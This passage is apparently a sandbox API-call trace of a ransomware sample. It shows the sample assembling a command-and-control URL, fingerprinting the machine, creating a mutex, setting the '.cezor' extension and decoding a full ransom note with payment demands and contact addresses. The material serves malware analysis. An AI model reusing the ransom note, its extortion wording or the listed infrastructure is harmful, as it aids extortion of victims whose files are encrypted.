[0044.908] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3024bb0 [0044.908] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3024e18 [0044.908] lstrlenA (lpString="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned 68 [0044.908] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a) returned 0x2fc3f98 [0044.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3023870, cbMultiByte=-1, lpWideCharStr=0x2fc3f98, cchWideChar=69 | out: lpWideCharStr="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned 69 [0044.909] lstrcatW (in: lpString1="", lpString2="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0044.909] lstrlenA (lpString="") returned 0 [0044.909] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x2faea68 [0044.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3023ad8, cbMultiByte=-1, lpWideCharStr=0x2faea68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0044.909] lstrcatW (in: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0044.909] lstrlenA (lpString="") returned 0 [0044.909] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x2faea98 [0044.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3023d40, cbMultiByte=-1, lpWideCharStr=0x2faea98, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0044.909] lstrcatW (in: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0044.909] lstrlenA (lpString="") returned 0 [0044.909] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x2faea88 [0044.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3023fa8, cbMultiByte=-1, lpWideCharStr=0x2faea88, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0044.909] lstrcatW (in: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0044.909] lstrlenA (lpString="") returned 0 [0044.909] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x2faeb08 [0044.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3024210, cbMultiByte=-1, lpWideCharStr=0x2faeb08, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0044.909] lstrcatW (in: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0044.909] lstrlenA (lpString="") returned 0 [0044.909] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x2faeac8 [0044.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3024478, cbMultiByte=-1, lpWideCharStr=0x2faeac8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0044.909] lstrcatW (in: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0044.909] lstrlenA (lpString="") returned 0 [0044.909] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x2faeab8 [0044.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30246e0, cbMultiByte=-1, lpWideCharStr=0x2faeab8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0044.909] lstrcatW (in: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0044.909] lstrlenA (lpString="") returned 0 [0044.909] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x2faead8 [0044.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3024948, cbMultiByte=-1, lpWideCharStr=0x2faead8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0044.909] lstrcatW (in: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0044.909] lstrlenA (lpString="") returned 0 [0044.909] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x2faeae8 [0044.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3024bb0, cbMultiByte=-1, lpWideCharStr=0x2faeae8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0044.909] lstrcatW (in: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0044.909] lstrlenA (lpString="") returned 0 [0044.910] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x2faeaf8 [0044.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3024e18, cbMultiByte=-1, lpWideCharStr=0x2faeaf8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0044.910] lstrcatW (in: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0044.910] lstrlenW (lpString="") returned 0 [0044.910] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x12) returned 0x3033108 [0044.910] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x288) returned 0x3011ec0 [0044.910] GetAdaptersInfo (in: AdapterInfo=0x3011ec0, SizePointer=0x18c39c | out: AdapterInfo=0x3011ec0, SizePointer=0x18c39c) returned 0x0 [0044.926] GetAdaptersInfo (in: AdapterInfo=0x3011ec0, SizePointer=0x18c39c | out: AdapterInfo=0x3011ec0, SizePointer=0x18c39c) returned 0x0 [0044.930] GetLastError () returned 0x0 [0044.930] GetLastError () returned 0x0 [0044.930] CryptAcquireContextW (in: phProv=0x18c36c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18c36c*=0x74e3d0) returned 1 [0044.931] CryptCreateHash (in: hProv=0x74e3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18c374 | out: phHash=0x18c374) returned 1 [0044.931] CryptHashData (hHash=0x3038548, pbData=0x3007de8, dwDataLen=0x11, dwFlags=0x0) returned 1 [0044.931] CryptGetHashParam (in: hHash=0x3038548, dwParam=0x2, pbData=0x0, pdwDataLen=0x18c370, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18c370) returned 1 [0044.931] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033288 [0044.931] CryptGetHashParam (in: hHash=0x3038548, dwParam=0x2, pbData=0x3033288, pdwDataLen=0x18c370, dwFlags=0x0 | out: pbData=0x3033288, pdwDataLen=0x18c370) returned 1 [0044.931] GetLastError () returned 0x0 [0044.931] CryptDestroyHash (hHash=0x3038548) returned 1 [0044.931] CryptReleaseContext (hProv=0x74e3d0, dwFlags=0x0) returned 1 [0044.931] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3007de8 | out: hHeap=0x670000) returned 1 [0044.931] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd7a0 [0044.931] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd538 | out: hHeap=0x670000) returned 1 [0044.931] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x7512a8 | out: hHeap=0x670000) returned 1 [0044.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x414d40, lpParameter=0x45d9d0, dwCreationFlags=0x0, lpThreadId=0x45d9bc | out: lpThreadId=0x45d9bc*=0x2ac) returned 0x5cc [0045.151] WaitForSingleObject (hHandle=0x5cc, dwMilliseconds=0xffffffff) returned 0x0 [0046.037] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}") returned 0x5c8 [0046.037] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x28) returned 0x3042208 [0046.038] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3025080 [0046.038] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x30252e8 [0046.038] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3025550 [0046.038] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x30257b8 [0046.038] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3025a20 [0046.038] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3025c88 [0046.038] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3028060 [0046.038] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x30282c8 [0046.038] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3028530 [0046.038] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3028798 [0046.038] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x2f89370 [0046.038] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x306c3e8 [0046.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw", cchWideChar=-1, lpMultiByteStr=0x306c3e8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw", lpUsedDefaultChar=0x0) returned 41 [0046.038] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x306c818 [0046.038] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306c3e8 | out: hHeap=0x670000) returned 1 [0046.038] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f89370 | out: hHeap=0x670000) returned 1 [0046.038] CryptAcquireContextW (in: phProv=0x18c3dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18c3dc*=0x74e3d0) returned 1 [0046.039] CryptCreateHash (in: hProv=0x74e3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18c3e0 | out: phHash=0x18c3e0) returned 1 [0046.039] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw") returned 40 [0046.039] CryptHashData (hHash=0x30385c8, pbData=0x306c818, dwDataLen=0x28, dwFlags=0x0) returned 1 [0046.039] CryptGetHashParam (in: hHash=0x30385c8, dwParam=0x2, pbData=0x0, pdwDataLen=0x18c3e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18c3e4) returned 1 [0046.039] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x30331c8 [0046.039] CryptGetHashParam (in: hHash=0x30385c8, dwParam=0x2, pbData=0x30331c8, pdwDataLen=0x18c3e4, dwFlags=0x0 | out: pbData=0x30331c8, pdwDataLen=0x18c3e4) returned 1 [0046.039] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x34) returned 0x3038548 [0046.039] GetLastError () returned 0x0 [0046.039] lstrcatA (in: lpString1="", lpString2="1C" | out: lpString1="1C") returned="1C" [0046.039] GetLastError () returned 0x0 [0046.039] lstrcatA (in: lpString1="1C", lpString2="D4" | out: lpString1="1CD4") returned="1CD4" [0046.039] GetLastError () returned 0x0 [0046.039] lstrcatA (in: lpString1="1CD4", lpString2="F9" | out: lpString1="1CD4F9") returned="1CD4F9" [0046.039] GetLastError () returned 0x0 [0046.039] lstrcatA (in: lpString1="1CD4F9", lpString2="D3" | out: lpString1="1CD4F9D3") returned="1CD4F9D3" [0046.039] GetLastError () returned 0x0 [0046.039] lstrcatA (in: lpString1="1CD4F9D3", lpString2="6C" | out: lpString1="1CD4F9D36C") returned="1CD4F9D36C" [0046.039] GetLastError () returned 0x0 [0046.039] lstrcatA (in: lpString1="1CD4F9D36C", lpString2="FA" | out: lpString1="1CD4F9D36CFA") returned="1CD4F9D36CFA" [0046.039] GetLastError () returned 0x0 [0046.039] lstrcatA (in: lpString1="1CD4F9D36CFA", lpString2="B6" | out: lpString1="1CD4F9D36CFAB6") returned="1CD4F9D36CFAB6" [0046.039] GetLastError () returned 0x0 [0046.039] lstrcatA (in: lpString1="1CD4F9D36CFAB6", lpString2="96" | out: lpString1="1CD4F9D36CFAB696") returned="1CD4F9D36CFAB696" [0046.040] GetLastError () returned 0x0 [0046.040] lstrcatA (in: lpString1="1CD4F9D36CFAB696", lpString2="41" | out: lpString1="1CD4F9D36CFAB69641") returned="1CD4F9D36CFAB69641" [0046.040] GetLastError () returned 0x0 [0046.040] lstrcatA (in: lpString1="1CD4F9D36CFAB69641", lpString2="48" | out: lpString1="1CD4F9D36CFAB6964148") returned="1CD4F9D36CFAB6964148" [0046.040] GetLastError () returned 0x0 [0046.040] lstrcatA (in: lpString1="1CD4F9D36CFAB6964148", lpString2="0C" | out: lpString1="1CD4F9D36CFAB69641480C") returned="1CD4F9D36CFAB69641480C" [0046.040] GetLastError () returned 0x0 [0046.040] lstrcatA (in: lpString1="1CD4F9D36CFAB69641480C", lpString2="F2" | out: lpString1="1CD4F9D36CFAB69641480CF2") returned="1CD4F9D36CFAB69641480CF2" [0046.040] GetLastError () returned 0x0 [0046.040] lstrcatA (in: lpString1="1CD4F9D36CFAB69641480CF2", lpString2="90" | out: lpString1="1CD4F9D36CFAB69641480CF290") returned="1CD4F9D36CFAB69641480CF290" [0046.040] GetLastError () returned 0x0 [0046.040] lstrcatA (in: lpString1="1CD4F9D36CFAB69641480CF290", lpString2="9E" | out: lpString1="1CD4F9D36CFAB69641480CF2909E") returned="1CD4F9D36CFAB69641480CF2909E" [0046.040] GetLastError () returned 0x0 [0046.040] lstrcatA (in: lpString1="1CD4F9D36CFAB69641480CF2909E", lpString2="A9" | out: lpString1="1CD4F9D36CFAB69641480CF2909EA9") returned="1CD4F9D36CFAB69641480CF2909EA9" [0046.040] GetLastError () returned 0x0 [0046.040] lstrcatA (in: lpString1="1CD4F9D36CFAB69641480CF2909EA9", lpString2="DE" | out: lpString1="1CD4F9D36CFAB69641480CF2909EA9DE") returned="1CD4F9D36CFAB69641480CF2909EA9DE" [0046.040] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30331c8 | out: hHeap=0x670000) returned 1 [0046.040] CryptDestroyHash (hHash=0x30385c8) returned 1 [0046.040] CryptReleaseContext (hProv=0x74e3d0, dwFlags=0x0) returned 1 [0046.040] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306c818 | out: hHeap=0x670000) returned 1 [0046.040] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0046.040] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x2f89370 [0046.040] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x28) returned 0x3042238 [0046.040] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3028a00 [0046.040] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3028c68 [0046.040] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3028ed0 [0046.040] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3029138 [0046.040] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x30293a0 [0046.040] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3029608 [0046.040] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3029870 [0046.040] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3029ad8 [0046.040] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3029d40 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3029fa8 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x816) returned 0x306c3e8 [0046.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c3e8, cbMultiByte=-1, lpWideCharStr=0x306c3e8, cchWideChar=1035 | out: lpWideCharStr="_readme.txt") returned 12 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x3066fb8 [0046.041] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306c3e8 | out: hHeap=0x670000) returned 1 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x28) returned 0x3042268 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x302a210 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x302a478 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x302a6e0 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x302a948 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x302abb0 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x302ae18 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x302b080 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x302b2e8 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x302b550 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x302b7b8 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x2fc3188 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x130) returned 0x74fa30 [0046.041] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fc3188 | out: hHeap=0x670000) returned 1 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1d0) returned 0x306a208 [0046.041] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74fa30 | out: hHeap=0x670000) returned 1 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2b7) returned 0x306c3e8 [0046.041] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a208 | out: hHeap=0x670000) returned 1 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x412) returned 0x306c6a8 [0046.041] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306c3e8 | out: hHeap=0x670000) returned 1 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x61a) returned 0x30677e0 [0046.041] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306c6a8 | out: hHeap=0x670000) returned 1 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x470) returned 0x306c3e8 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10d8) returned 0x3013308 [0046.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x306c3e8, cbMultiByte=-1, lpWideCharStr=0x3013308, cchWideChar=2156 | out: lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned 1133 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10e0) returned 0x30143e8 [0046.041] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3013308 | out: hHeap=0x670000) returned 1 [0046.041] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306c3e8 | out: hHeap=0x670000) returned 1 [0046.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x28) returned 0x3042298 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x302ba20 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x302bc88 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3042788 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x30429f0 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3042c58 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3042ec0 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3043128 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3043390 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x30435f8 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3043860 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80c) returned 0x306c3e8 [0046.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c3e8, cbMultiByte=-1, lpWideCharStr=0x306c3e8, cchWideChar=1030 | out: lpWideCharStr=".cezor") returned 7 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x3067e08 [0046.042] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306c3e8 | out: hHeap=0x670000) returned 1 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x3007fc8 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd5a8 [0046.042] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3033188 | out: hHeap=0x670000) returned 1 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x301d558 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x48) returned 0x302f488 [0046.042] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd5a8 | out: hHeap=0x670000) returned 1 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x2f893d8 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x2f89440 [0046.042] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x302f488 | out: hHeap=0x670000) returned 1 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30182c8 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x2fc3188 [0046.042] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f89440 | out: hHeap=0x670000) returned 1 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x301d5b0 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x301d608 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd8) returned 0x2f94c18 [0046.042] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fc3188 | out: hHeap=0x670000) returned 1 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30183a0 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x3007e10 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x301d660 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x138) returned 0x74fa30 [0046.042] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f94c18 | out: hHeap=0x670000) returned 1 [0046.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x2f89440 [0046.043] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30183e8 [0046.043] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x301d6b8 [0046.043] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x301d710 [0046.043] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c8) returned 0x30700f0 [0046.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74fa30 | out: hHeap=0x670000) returned 1 [0046.043] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018430 [0046.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306b000 | out: hHeap=0x670000) returned 1 [0046.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3007fc8 | out: hHeap=0x670000) returned 1 [0046.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301d558 | out: hHeap=0x670000) returned 1 [0046.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f893d8 | out: hHeap=0x670000) returned 1 [0046.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30182c8 | out: hHeap=0x670000) returned 1 [0046.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301d5b0 | out: hHeap=0x670000) returned 1 [0046.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301d608 | out: hHeap=0x670000) returned 1 [0046.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30183a0 | out: hHeap=0x670000) returned 1 [0046.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3007e10 | out: hHeap=0x670000) returned 1 [0046.043] HeapFree 